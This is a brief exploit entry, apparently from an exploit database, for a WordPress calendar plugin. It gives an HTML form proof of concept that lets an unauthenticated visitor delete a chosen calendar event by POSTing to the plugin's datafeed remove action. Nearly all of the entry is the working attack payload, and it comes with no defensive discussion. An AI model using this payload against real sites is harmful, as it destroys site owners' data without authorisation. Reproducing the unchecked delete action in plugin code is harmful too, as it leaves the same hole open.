Share 
## https://sploitus.com/exploit?id=WPEX-ID:5F191D25-833B-4D8D-A4FF-D180A326DD82
As an unauthenticated user, open the code below, this will delete the event with ID 4 from the calendar with ID 1

<html>
  <body>
    <form action="https://example.com/?cpmvc_do_action=mvparse&f=datafeed&method=remove&calid=1" method="POST">
      <input type="hidden" name="calendarId" value="4" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>